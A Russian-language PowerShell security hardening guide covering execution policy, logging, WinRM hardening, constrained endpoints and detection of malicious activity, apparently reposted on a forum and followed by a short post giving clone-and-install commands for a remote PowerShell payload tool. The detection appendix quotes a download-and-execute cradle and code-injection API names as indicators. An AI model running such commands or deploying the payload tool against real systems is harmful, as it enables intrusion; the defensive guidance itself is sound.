Защита PowerShell в организации

[Carder]

Этот документ описывает структуру зрелости для PowerShell таким образом, чтобы уравновесить требования безопасности и бизнес-требования организаций. Эта структура зрелости позволит организациям предпринять дополнительные шаги по обеспечению безопасности PowerShell в своей среде.

Введение​

PowerShell - это мощный язык сценариев оболочки, разработанный Microsoft для предоставления интегрированного интерфейса для автоматизированного системного администрирования. Это важная часть инструментария системного администрирования из-за его повсеместного распространения и простоты, с которой его можно использовать для полного управления системами Microsoft Windows. Однако это также опасный инструмент постэксплуатации в руках противника.
Этот документ описывает структуру зрелости для PowerShell таким образом, чтобы уравновесить требования безопасности и бизнес-требования организаций. Эта структура зрелости позволит организациям предпринять дополнительные шаги по обеспечению безопасности PowerShell в своей среде.

Резюме​

PowerShell - это последняя версия оболочек командной строки Microsoft Windows, таких как MS-DOS и cmd.exe. Хотя в Microsoft Windows есть консоль cmd.exe , ее способность выполнять действия ограничена по сравнению с действиями, которые может выполнять PowerShell.
PowerShell интегрирован с .NET Framework и имеет полный доступ к компонентной объектной модели (COM) и инструментарию управления Windows (WMI). Кроме того, он имеет полный доступ к интерфейсу программирования приложений Windows (WinAPI) через .NET Framework. Установка PowerShell по умолчанию содержит большое количество встроенных командлетов, которые представляют собой небольшие программы .NET, к которым PowerShell обращается с помощью простых команд. Это обеспечивает мощный и простой в использовании интерфейс для базовой системы и позволяет автоматизировать широкий спектр задач.
PowerShell можно запускать локально или по сети с помощью функции, известной как Windows Remote Management (WinRM) [1]. Для облегчения использования WinRM на удаленных рабочих станциях и серверах, на которых выполняется код, необходимо включить удаленное взаимодействие. В Microsoft Windows Server 2012 и более новых операционных системах Microsoft Windows удаленное взаимодействие включено по умолчанию.

Проблемы с безопасностью​

Сам PowerShell не менее безопасен, чем другие среды сценариев Microsoft Windows. Однако PowerShell предоставляет противнику удобный интерфейс для перечисления и управления хост-системой после того, как злоумышленник добился выполнения исходного кода.
PowerShell вызывает две основные проблемы безопасности:

• PowerShell обычно используется после выполнения кода во время первоначальной эксплуатации. Противники будут продолжать развивать наступательные кибер-возможности, и имплантаты на базе PowerShell, вероятно, станут более распространенными в будущем.
• PowerShell позволяет злоумышленникам выполнять внедрение кода из среды PowerShell в другие процессы, не сбрасывая вредоносный код на диск, эффективно обеспечивая выполнение произвольного кода, минуя многие средства защиты и практически не оставляя остаточных артефактов в системе. Это не связано с какой-либо уязвимостью в системе безопасности PowerShell, а скорее свидетельствует о ее тесной интеграции с .NET Framework, что обеспечивает чрезвычайно мощный и простой в использовании интерфейс для важных системных функций.

Из-за того, что вредоносный код не сохраняется на диск, определить, когда происходит кибер-вторжение, может быть сложно, а судебно-медицинское расследование может оказаться очень сложным. В сочетании с обширными функциональными возможностями, которые предоставляет PowerShell, становится ясно, что PowerShell является чрезвычайно мощным инструментом после эксплуатации.

Использование PowerShell для администрирования вашей среды​

Оценка последствий для безопасности разрешения PowerShell в организации может привести к немедленному желанию заблокировать доступ к PowerShell. Однако это не рекомендуется, поскольку использование правильно настроенной среды PowerShell вместо других методов администрирования среды приведет к реальным и ощутимым преимуществам безопасности для организации.
Обратите внимание на следующее:

• Удаленное использование PowerShell значительно снизит потребность администраторов в интерактивном входе на рабочие станции и серверы через службы удаленных рабочих столов (RDP), что приведет к снижению подверженности организации атакам Pass-the-Hash. Атаки Pass-the-Hash - чрезвычайно мощная и распространенная техника бокового движения для противника, и организации всегда следует искать способы уменьшить свою подверженность этой технике.
• Обычная структура для администрирования среды будет лучше масштабироваться, чем специальная конфигурация разнородных административных инструментов. Это снизит сложность сетевых конфигураций (например, правил брандмауэра), что приведет к снижению рисков безопасности, связанных с неправильными конфигурациями.
• В PowerShell версии 5.0 мощные параметры ведения журнала позволяют организации активно анализировать свою среду для выявления вредоносной активности. Злоумышленник, который не понимает, что в организации действует эффективный режим журнала и анализа, и который впоследствии использует PowerShell, будет обнаружен намного легче.
• Сопротивляясь первоначальному импульсу отключить PowerShell и вместо этого стремясь снизить известные риски безопасности, связанные с PowerShell, организация будет в гораздо лучшем положении для защиты своих ценных ресурсов и реагирования на кибер-вторжение.

Обеспечение безопасности PowerShell лучше всего рассматривать как часть целостного подхода к безопасности рабочих станций и серверов. Нет смысла блокировать PowerShell, если систему легко использовать другими методами.

Платформа зрелости для PowerShell​

Этот документ описывает структуру зрелости для PowerShell. Уровни в структуре зрелости для PowerShell позволяют организации определить текущее состояние безопасности в отношении PowerShell. Уровни также позволяют организации определять будущие улучшения для более эффективного управления рисками безопасности, связанными с развертыванием PowerShell. Визуальное представление структуры зрелости для PowerShell приведено в Приложении A.
Четыре уровня в структуре зрелости для PowerShell следующие:

• Уровень 0: организация использует PowerShell в своей конфигурации по умолчанию без учета рисков безопасности, связанных с его использованием.
• Уровень 1. Организация настраивает список утвержденных сценариев PowerShell. Кроме того, политика выполнения сценариев PowerShell настроена на запуск только сценариев PowerShell, подписанных доверенным издателем, с любыми сертификатами подписи кода, защищенными от неправомерного использования. PowerShell версии 5.0 предоставляет более широкие возможности ведения журнала и должен использоваться там, где это возможно. Наконец, действия, связанные с PowerShell, централизованно регистрируются и анализируются.
• Уровень 2: Организация блокирует хосты PowerShell [2] для пользователей, выполняющих задачи, требующие возможности использования PowerShell. Это форма управления приложением на основе ролей. Для повышения безопасности удаленного PowerShell развернута усиленная конфигурация удаленного управления Windows (WinRM).
• Уровень 3: организация развертывает настраиваемые конечные точки с ограничениями для PowerShell. Это ограничивает функциональность PowerShell для данного пользователя заранее определенным списком.

Организациям рекомендуется реализовать конфигурацию PowerShell, совместимую как минимум с уровнем 1. Уровни 2 и 3 улучшат состояние безопасности организации; однако, внедрение и обслуживание потребуют значительных затрат.

Рекомендуемые смягчения​

Утвержденные скрипты PowerShell​

Организациям следует использовать список утвержденных сценариев PowerShell, чтобы уменьшить вероятность выполнения вредоносных сценариев PowerShell.

Политика выполнения скрипта​

PowerShell может применять политику, контролирующую выполнение скриптов и модулей PowerShell. Политика выполнения сценария PowerShell часто объявляется решением для защиты PowerShell; однако его часто можно обойти, и на него не следует полагаться для обеспечения безопасной среды PowerShell.
Можно принудительно применить политику выполнения сценария через групповую политику. Рекомендуемая политика выполнения сценария - AllSigned (все сценарии должны быть подписаны доверенным издателем). В качестве альтернативы, для рабочих станций, на которых разрабатываются сценарии, политика выполнения сценария должна быть RemoteSigned (только удаленно загруженные сценарии должны быть подписаны доверенным издателем). Организации должны использовать сертификаты подписи кода, которым доверяют во всей среде, чтобы гарантировать единообразное выполнение скриптов во всей среде.
См. Приложение B для более подробной информации о реализации политик выполнения скриптов.

Версия PowerShell​

Организации должны установить PowerShell версии 5.0, где это возможно, из-за превосходных возможностей ведения журнала, предоставляемых по сравнению с более ранними версиями.

Управление приложениями на основе ролей​

Хосты PowerShell должны быть ограничены привилегированными учетными записями, выполняющими административные действия, или пользователями с определенной потребностью. Указание только утвержденных хостов PowerShell является предпочтительным подходом к ограничению доступа к хостам PowerShell по умолчанию, поскольку он также будет эффективен против настраиваемых хостов PowerShell; однако блокировка хостов по умолчанию ( powershell.exe и powershell_ise.exe ) лучше, чем отсутствие ограничений. В доступе к узлам PowerShell следует запретить использование технических средств контроля для пользователей, у которых нет бизнес-потребностей.
Детали реализации для управления приложениями на основе ролей будут различаться в зависимости от задействованных операционных систем и функциональных уровней Active Directory (AD). Следует проконсультироваться с соответствующей документацией поставщика, чтобы убедиться в эффективности внедрения.

Регистрация и анализ​

Поскольку полностью защитить PowerShell сложно, централизованное ведение журнала и анализ журналов действий на основе PowerShell должны стать основой безопасного развертывания PowerShell. С помощью PowerShell версии 5.0 можно принудительно вести журнал широкого спектра действий PowerShell. Возможность активного анализа журналов значительно повысит способность организации выявлять необычные действия. Ряд параметров ведения журнала можно настроить с помощью групповой политики, что делает развертывание относительно простым.

Журнал событий PowerShell​

Дополнительные сведения о реализации следующих параметров ведения журнала можно найти в Приложении C:

• Ведение журнала жизненного цикла ядра: PowerShell регистрирует запуск и завершение работы узлов PowerShell. PowerShell версии 5.0 имеет возможность регистрировать аргументы командной строки, передаваемые узлу PowerShell, включая код PowerShell, передаваемый в powershell.exe через командную строку. Ведение журнала жизненного цикла ядра включено по умолчанию, и его можно найти в журнале приложений и служб \ Microsoft \ Windows \ PowerShell \ Operational log.
• Ведение журнала модуля / конвейера: PowerShell версии 3.0 и более поздних может регистрировать события конвейера в журналах событий Windows для каждого модуля или на глобальном уровне. Это можно настроить с помощью групповой политики.
• Отслеживание блока сценария: PowerShell версии 5.0 может регистрировать подробную информацию, в том числе, какой код был запущен, и выводить ее в журнал операционных событий Windows.
• Транскрипция: PowerShell версии 5.0 позволяет транскрипцию [3] кода на всех хостах PowerShell и может управляться групповой политикой. Несмотря на то, что записи очень эффективны, они не интегрируются в журналы событий Windows, и с ними нужно будет работать как с файлами на диске.

Журнал событий Windows​

Microsoft Windows должна быть настроена с помощью групповой политики для аудита определенных системных событий, таких как создание и завершение процесса, а также доступ к файлам и реестру. Особое внимание следует уделить:

• Профили PowerShell
• Информация о конфигурации PowerShell (реестр)
• Параметры групповой политики PowerShell (реестр).

См. Приложение D для получения дополнительных сведений.

Анализ журнала событий​

Базовый план для нормального поведения PowerShell для сети должен быть выполнен, чтобы помочь в анализе журналов, созданных PowerShell. Организациям следует рассмотреть возможность проведения следующего базового анализа для сборок рабочих станций и серверов, чтобы все детали были задокументированы, чтобы к ним можно было обратиться позже.

• Поведение кода: нужен ли не вредоносный код PowerShell для доступа к Интернету, открытия сетевых подключений, использования криптографических операций или доступа к реестру и системным файлам? Определение подмножества функций PowerShell, необходимых для выполнения системного администрирования в домене, упрощает обнаружение аномального поведения.
• Первоначальное выполнение кода: как обычно выполняется код PowerShell (например, из файла сценария, командной строки, ввода с консоли)?
• Пользователь и компьютер: какие учетные записи пользователей должны иметь возможность выполнять код PowerShell в домене, поддомене или на конкретном компьютере?
• Удаленное взаимодействие: каковы обычные шаблоны удаленного взаимодействия для пользователей, а также исходных и целевых рабочих станций и серверов?

Имейте в виду, что злоумышленник часто пытается имитировать законное поведение PowerShell в сети. Эта имитация обычно не идеальна, и часто можно идентифицировать уникальные характеристики, которые определяют поведение PowerShell как вредоносное.
Использование правильно настроенного продукта управления информацией и событиями безопасности (SIEM) для сбора и анализа журналов событий PowerShell и Windows может помочь в обнаружении подозрительной активности, что позволяет быстрее выявлять вредоносное поведение PowerShell в сети.
См. Приложение E для получения дополнительных сведений об обнаружении подозрительного поведения PowerShell в журналах.

Предотвратить изменение и включить аудит параметров конфигурации и стенограмм​

Чтобы усложнить обфускацию злонамеренного поведения PowerShell, организация должна гарантировать, что стандартным пользователям не предоставлено разрешение на изменение соответствующих ключей реестра или на изменение папки с транскрипцией.
Организациям также следует рассмотреть возможность использования защищенного журнала событий для предотвращения утечки конфиденциальной информации, такой как пароли в блоках сценариев, которые регистрируются в журнале событий.
См. Приложение F для получения дополнительных сведений о применении разрешений через групповую политику к разделам реестра и папкам с файлами.

Конфигурация удаленного взаимодействия​

Конфигурация удаленного взаимодействия PowerShell хорошо задокументирована Microsoft в их публикации «Установка и настройка для удаленного управления Windows» по адресу https://docs.microsoft.com/en-au/wi...d-configuration-for-windows-remote-management

Укрепление WinRM​

После настройки основного удаленного взаимодействия необходимо настроить следующие параметры с помощью групповой политики для безопасной настройки клиента и службы WinRM. Следующие параметры включены по умолчанию, однако их следует подтверждать при любом безопасном развертывании PowerShell:

• удалить все протоколы, кроме Kerberos и Negotiate
• отключить сохраненные учетные данные и CredSSP
• отключите устаревшие порты (80 и 443).

См. Приложение G для получения дополнительных сведений об усилении защиты WinRM.

Ограниченные конечные точки​

Ограниченные конечные точки - это средство обеспечения заблокированной функциональности PowerShell. Это полезно для включения делегирования полномочий на основе ролей. Например, разделение ролей для администрирования веб-сервера и файлового сервера на одном компьютере.
Языковой режим в конфигурации ограниченной конечной точки должен быть установлен на NoLanguage, что позволяет запускать только утвержденные командлеты и функции и запрещает блоки сценариев и другие языковые функции. Ограничения языкового режима можно обойти с помощью внедрения кода, поэтому важно проверить утвержденные настраиваемые командлеты, функции и модули, чтобы убедиться, что внедрение кода невозможно.
Конфигурации ограниченной конечной точки должны быть предоставлены правильные разрешения с самого начала, в отличие от ее настройки для работы от имени другой учетной записи. Это предотвратит сохранение учетных данных учетной записи на рабочей станции или сервере.
Ограничение ограниченных конечных точек заключается в том, что пользователи с локальными административными привилегиями смогут обходить ограниченные конечные точки, поскольку эти пользователи могут удаленно запускать команды оболочки (включая выполнение powershell.exe ) с помощью Windows Remote Shell (WinRS), тем самым обходя политику конечных точек. Кроме того, WinRS нельзя отключить, не отключив удаленное взаимодействие PowerShell. Есть два решения этой проблемы:

• доступ к привилегиям локального администратора должен строго контролироваться, с делегированием административных привилегий на основе ролей, предоставляющим вместо этого требуемый доступ
• ограничение прав входа в сеть должно строго контролироваться.

См. Приложение H для более подробной информации о реализации ограниченных конечных точек.

Дальнейшая информация​

Следующие ссылки предоставляют дополнительные сведения о защите PowerShell и связанных компонентов:

• Microsoft - PowerShell ♥ синяя команда на https://devblogs.microsoft.com/powershell/powershell-the-blue-team/ .
• FireEye - расследование атак PowerShell на https://www.fireeye.com/content/dam...zanciyan-investigating-powershell-attacks.pdf.

Приложение А. Структура зрелости​

Приложение B. Политика выполнения сценария PowerShell​

Следующий параметр групповой политики должен быть настроен для принудительной подписи сценария для всех сценариев PowerShell.

Настройка групповой политики	Ценность
Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Windows PowerShell \ Включить выполнение сценария	Разрешить только подписанные скрипты

Важно понимать ограничения политики выполнения сценария в отношении защиты PowerShell. Следует отметить, что о многочисленных методах обхода политики выполнения сценария сообщалось много. По этой причине политика выполнения сценария - лишь небольшая часть общего плана управления безопасностью PowerShell.

Приложение C: Настройка требований к ведению журнала PowerShell​

Следующие параметры групповой политики должны быть настроены для принудительного ведения соответствующего журнала для действий на основе PowerShell [4].

Действия записаны	Настройка групповой политики	Ценности
Модуль / Ведение журнала	Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Windows PowerShell \ Включить ведение журнала модуля	Имена модулей: *
Трассировка блока скрипта	Конфигурация компьютера \ Предпочтения \ Параметры Windows \ Реестр	HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell \ ScriptBlockLogging \ EnableScriptBlockLogging = 1 (DWORD)
Расшифровка [5]	Конфигурация компьютера \ Предпочтения \ Параметры Windows \ Реестр	HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell \ Transcription \ EnableTranscripting = 1 (DWORD)
HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell \ Transcription \ OutputDirectory = <папка транскриптов> (SZ)
HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell \ Transcription \ EnableInvocationHeader = 1 (DWORD)

Чтобы защитить папку с транскрипцией, создайте объект групповой политики (GPO) и настройте следующие параметры групповой политики.

Настройка	Настройка групповой политики	Участник безопасности и разрешения
Установить разрешения для каталога стенограммы	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Файловая система	Пакеты приложений	Прочитать и выполнить
Владелец создатель	Запретить все
Прошедшие проверку пользователи	Писать и читать
СИСТЕМА	Полный контроль
BUILTIN \ Администраторы	Полный контроль
Справочник стенограмм аудита	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Файловая система Расширенные опции. Тип = Все Применить к = Эта папка / подпапки и файлы	Каждый	Полный контроль

Приложение D. Аудит безопасности Microsoft Windows​

Попытки изменить реестр и файловую систему, а также создание и завершение процесса должны подвергаться аудиту. Во время анализа журналов следует исследовать изменения конкретных записей реестра и каталогов PowerShell, а также непредвиденное выполнение узла PowerShell.
Хотя в этом документе указано большое количество вариантов ведения журнала, фактический объем ведения журнала должен быть сбалансирован между потребностями организации для расследования кибер-вторжения и объемом дискового пространства, вычислительными ресурсами и возможностями анализа, необходимыми для того, чтобы журнал был полезным. В частности, события чтения системных файлов и реестра могут привести к появлению большого количества малоценных данных и при необходимости могут быть отфильтрованы.

Объекты проверены	Настройка групповой политики	Участник безопасности и разрешения
Создание процесса	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Расширенная конфигурация аудита \ Политики аудита \ Подробное отслеживание \ Создание процесса аудита	Каждый	Успех, Неудача
Прекращение процесса	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Расширенная конфигурация аудита \ Политики аудита \ Подробное отслеживание \ Завершение процесса аудита	Каждый	Успех, Неудача
Файловая система	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Конфигурация расширенного аудита \ Политики аудита \ Аудит доступа к глобальным объектам \ Файловая система	Каждый	Успех, Неудача
Реестр	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Конфигурация расширенного аудита \ Политики аудита \ Аудит доступа к глобальным объектам \ Реестр	Каждый	Успех, Неудача

Приложение E: Анализ журнала​

Местоположение основного журнала PowerShell - Applications and Services \ Windows PowerShell в средстве просмотра событий Windows. Этот журнал можно использовать для определения следующей информации, связанной с сеансом PowerShell:

• время начала и время окончания
• учетная запись пользователя
• имя хоста и имя исполняемого файла, которые могут помочь определить, был ли сеанс локальным или удаленным
• аргументы командной строки для узла PowerShell (PowerShell версии 5.0), которые могут быть хорошим индикатором подозрительной активности.

В журнале PowerShell следующие индикаторы (или короткие псевдонимы, где это необходимо) могут указывать на злонамеренную активность и должны быть исследованы:

• начальное выполнение кода:
  • Загрузка с -NoProfile. Параметр -NoProfile - это старый метод обхода протоколирования стенограммы и политики выполнения сценария. Этот метод не работает в PowerShell версии 5.0, однако он по-прежнему будет работать с устаревшими установками PowerShell.
  • Загрузка с помощью -ExecutionPolicy. Параметр -ExecutionPolicy позволяет пользователю обойти политику выполнения системы.
  • Загрузка с помощью -EncodedCommand. -EncodedCommand коммутатор принимает командные строки Base64, которые могут указывать на попытку запутать содержимое сценария.
  • Загрузка с помощью -Command. Переключатель -Command принимает любую команду, которую можно ввести в PowerShell в интерактивном режиме, в качестве параметра непосредственно для PowerShell.
  • Использование командлета Get-Content и конвейера для хоста PowerShell или командлета Invoke-Expression (например, Get-Content. \ Script.ps1 | powershell.exe или Get-Content. \ Script.ps1 | Invoke-Expression).
  • Использование командлета Invoke-Expression в сочетании с созданием нового объекта веб-клиента
    .NET в командной строке (например, powershell -nop -c «iex (New-Object Net.WebClient) .downloadString ('https: //my.script/here ') »).
  • Использование командлета Invoke-Command с аргументом -scriptblock для запуска кода в интерактивной консоли PowerShell. Обычно это используется для удаленного запуска командлетов во время обычного администрирования системы, поэтому будьте осторожны с ложными срабатываниями.
  • Выполнение скрипта из необычных учетных записей пользователей. Обратите особое внимание на выполнение привилегированных учетных записей, таких как учетная запись локального администратора, учетная запись NT Authority \ SYSTEM и учетные записи служб.
• необычная активность PowerShell:
  • Попытка напрямую отключить политику выполнения сценария (например, Set-ExecutionPolicy Unrestricted ).
  • Использование AuthorisationManager для отключения политики выполнения (например, для определения модификации переменной среды $ ExecutionContext ).
  • Кодирование команд, например, кодировка Base64.
  • PowerShell_ise.exe обычно запускается только на рабочих станциях администратора или разработчика, этот процесс, запущенный в другом месте, следует рассматривать как подозрительный.

В рамках сеанса журналы и стенограммы модуля могут предоставить подробную запись о выполняемых действиях. По возможности, оба журнала будут собираться и анализироваться одновременно, чтобы добиться максимальной точности при воссоздании сеанса.
Следующие индикаторы и ключевые слова могут идентифицировать вредоносную активность в среде PowerShell:

• Внедрение PE и шелл-кода:
  • System.Runtime.InteropServices.Marshal
  • System.Runtime.InteropServices.MarshalAsAttribute
  • System.Runtime.InteropServices.UnmanagedTypes
  • System.Runtime.InteropServices.HandleRef
  • kernel32.dll
  • msvcrt.dll
  • OpenProcess
  • VirtualAllocEx
  • VirtualAlloc
  • WriteProcessMemory
  • GetModuleHandle
  • GetProcAddress
  • VirtualProtect
  • CreateRemoteThread
  • CreateThread
  • CloseHandle
• Внедрение или выполнение кода PowerShell:
  • Вызов-выражение
  • iex
  • Invoke-Command
  • powershell / powershell.exe (в коде PowerShell)
• сетевая активность:
  • System.Net.HttpWebClient
  • System.Net.WebClient
  • System.Net.HttpListener
  • System.Net.Sockets.Socket
• шифрование или кодирование:
  • Командлет ConvertTo-SecureString
  • Security.Cryptography.CryptoStream
  • [System.Convert] :: ToBase64String ($ строка)
  • идентификация любых случайных или закодированных блоков данных
  • поиск по ключевым словам (например, -encrypt, crypt, password, pass)

Журналы событий Windows станут последней частью головоломки при восстановлении сеанса. Ищите следующую активность:

• Создание процесса (фильтр для хостов PowerShell (например, powershell.exe, powershell_ise.exe и wsmprovhost.exe)). Изучите создателя процесса и определите, не является ли он аномальным. Учетная запись локального администратора, учетная запись NT Authority \ SYSTEM и учетные записи служб должны быть исследованы в приоритетном порядке.
• Модификация ключей реестра в HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell .
• Удаление или изменение файлов в папке стенограммы. Проверить по отметке времени в имени файла - подозрительно удаление последнего файла с расшифровкой. По этой причине каталог стенограммы должен проверяться с помощью GPO (см. Приложение C), а события удаления или изменения необычными учетными записями должны исследоваться.

Приложение F: заблокируйте каталог реестра и стенограммы​

Создайте группу безопасности Active Directory с участниками, которые будут иметь доступ к соответствующему реестру и папке с расшифровками.
Для предоставления разрешений можно использовать следующие параметры групповой политики. В каждом случае выберите соответствующий объект групповой политики, щелкните правой кнопкой мыши и выберите « Добавить файл» или « Добавить ключ» и введите соответствующие значения.

Настройка	Настройка групповой политики	Ценности
% Каталог расшифровки%	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Файловая система	Снимите отметку с разрешений для «пользователей». Добавьте группу безопасности, которой требуется разрешение, и выберите необходимые разрешения.
HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ PowerShell	Конфигурация компьютера \ Политики \ Параметры Windows \ Параметры безопасности \ Файловая система	Снимите отметку с разрешений для «пользователей». Добавьте группу безопасности, которой требуется разрешение, и выберите необходимые разрешения.

Приложение G: усиленная конфигурация WinRM​

Следующие параметры групповой политики следует использовать для усиления защиты службы WinRM в среде.

Настройка	Параметр групповой политики	Ценности
Запретить дайджест-аутентификацию	Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Удаленное управление Windows (WinRM) \ Клиент WinRM	Запретить дайджест-аутентификацию = Включено
Разрешить удаленное управление сервером [6]	Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Удаленное управление Windows (WinRM) \ Служба WinRM	Включено Фильтр IPv4: * Фильтр IPv6:
Запретить WinRM сохранять RunAs	Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Удаленное управление Windows (WinRM) \ Служба WinRM	Включено
Укажите уровень защиты токена привязки канала	Конфигурация компьютера \ Политики \ Административные шаблоны \ Компоненты Windows \ Удаленное управление Windows (WinRM) \ Служба WinRM	Включено Уровень закалки: строгий

Приложение H: Ограниченные конечные точки​

Новый файл конфигурации ограниченной конечной точки может быть создан с минимальной функциональностью с помощью следующей команды: New-PSSessionConfigurationFile -Path <путь к файлу> -SessionType RestrictedRemoteServer.
Последующий сгенерированный файл .pssc необходимо отредактировать, чтобы добавить требуемые функции. Ниже приведен пример файла .pssc, который ограничен запросом WMI, служб и запуском gpupdate.

@ { SchemaVersion = '1.0.0.0' GUID = '4448b206-5a87-42cc-8993-c6220422b514' ExecutionPolicy = 'Ограничено' LanguageMode = 'NoLanguage' SessionType = 'RestrictedRemoteServer' # EnvironmentVariables = # Автор = # CompanyName = # Copyright = # Описание = # PowerShellVersion = ModulesToImport = 'Microsoft.PowerShell.Management' # AssembliesToLoad = # VisibleAliases = VisibleCmdlets = 'Get-WmiObject', 'Get-Service' VisibleFunctions = 'GPUpdateForce' VisibleProviders = 'Файловая система' # AliasDefinitions = FunctionDefinitions = @ ( @ { Name = 'GPUpdateForce' Параметры = 'AllScope' ScriptBlock = {gpupdate / force} } ) # VariableDefinitions = # TypesToProcess = # FomatsToProcess = # ScriptsToProcess = }

Зарегистрируйте конечную точку с помощью следующей команды: Register-PSSessionConfiguration -Force -Name <name> -Path <file path> -ShowSecurityDescriptorUI . Последний переключатель предложит пользователю установить разрешения для конечной точки.
Продвиньте ограниченную конечную точку на весь домен, выполнив следующие действия:

• получить строку SDDL: (Get-PSSessionConfiguration –Name <name>) .ShowSecuritySddl
• поместите файл .pssc в общий сетевой файловый ресурс
• создайте сценарий запуска в групповой политике в папке Computer Configuration \ Policies \ Windows Settings \ Scripts \ Startup, чтобы реализовать конечную точку при запуске. Ниже приведен пример сценария запуска.

# Чтобы включить конечные точки по умолчанию (полный доступ для администраторов и пользователей в группе удаленных пользователей), # раскомментируйте следующие две строки Включить-PSRemoting -Force # Следующее предназначено для предотвращения правил брандмауэра, созданных предыдущей командой # вмешиваться в групповую политику Disable-NetFirewallRule -DisplayName «Удаленное управление Windows (HTTP-вход)» Функция PSRemoteCfgSetup { $ cfgName = «<Имя конфигурации>» $ cfgFile = «<путь к общему файлу>» $ sddl = «<строка SDDL>» $ sessionCfg = $ null Пытаться { $ sessionCfg = (Get-PSSessionConfiguration -Name $ cfgName -ea SilentlyContinue) } Поймать [Microsoft.PowerShell.Commands.WriteErrorException] { } Если ($ sessionCfg -ne $ null) { Отменить регистрацию-PSSessionConfiguration -Force -Name $ cfgName } Register-PSSessionConfiguration -Force -Name $ cfgName -SecurityDescriptorSddl $ sddl - Путь $ cfgFile } PSRemoteCfgSetup

Перед реализацией настраиваемой конфигурации конечной точки с ограничениями необходимо ознакомиться с документацией Microsoft. Документацию Microsoft можно найти по адресу:

• Введение в конечные точки PowerShell на https://devblogs.microsoft.com/scripting/introduction-to-powershell-endpoints/
• Создание ограниченной конечной точки PowerShell с помощью сценария запуска по адресу https://devblogs.microsoft.com/scripting/build-constrained-powershell-endpoint-using-startup-script/
• Создание ограниченной конечной точки PowerShell с помощью файла конфигурации по адресу https://devblogs.microsoft.com/scripting/build-constrained-powershell-endpoint-using-configuration-file/
• Используйте функции делегированного администрирования и прокси по адресу https://devblogs.microsoft.com/scripting/use-delegated-administration-and-proxy-functions/
• Создайте инструмент, который использует ограниченную конечную точку PowerShell, на странице https://devblogs.microsoft.com/scripting/build-a-tool-that-uses-constrained-powershell-endpoint/.

[1] Удаленное управление Windows (WinRM) - это механизм, позволяющий устанавливать удаленные сеансы PowerShell. Это также часто упоминается в контексте PowerShell как «удаленное взаимодействие».
[2] В PowerShell «хост» - это исполняемый файл, который предоставляет интерфейс для базовой среды PowerShell и может быть встроен в другое приложение. Например, инструменты рабочего процесса автоматического администрирования часто имеют встроенные узлы PowerShell. PowerShell.exe и PowerShell_ise.exe являются наиболее распространенными узлами PowerShell, поскольку они предоставляются по умолчанию во всех версиях Microsoft Windows.
[3] Транскрипция - это термин, который описывает ведение журнала всех выданных команд PowerShell и вывод, сгенерированный этими командами. Это средство обеспечения точности данного сеанса PowerShell путем отображения того же результата, что и противник, если бы он проводил атаку в интерактивном режиме. Следует отметить, что можно намеренно запутать или подавить вывод многих команд и при этом добиться злонамеренного результата. Формат транскрипции PowerShell также может быть трудным для анализа. Из-за этих двух факторов не следует полагаться на расшифровку стенограммы как на отдельные индикаторы компрометации.
[4] Различные функциональные уровни Microsoft Active Directory могут позволять указывать эти параметры в разных местах групповой политики. Перед внедрением необходимо ознакомиться со следующей документацией Microsoft: https://www.microsoft.com/en-au/download/details.aspx?id=25250.
[5] Необходимо выбрать путь для хранения стенограмм. В отличие от журнала событий Windows, автоматическое управление журналом отсутствует. Организация несет ответственность за разработку решения для защиты, управления и передачи журналов в центральное место для анализа.
[6] Этот параметр предполагает, что используется IPv4, а не IPv6. Если IPv6 используется, его следует указать с использованием минимально возможной области IPv6. Например, если возможно, следует указать "локальный для ссылки" диапазон. Если это не подходит, следует указать «локальный для сайта» диапазон и так далее. Это сделано для снижения рисков, связанных с повсеместным распространением протоколов туннелирования IPv6, которые часто включены по умолчанию.

 

[Hacker]

Interactive remote PowerShell Payload

$ git clone https://github.com/Rich5/Harness.git
$ cd Harness
$ chmod a+x python_install.sh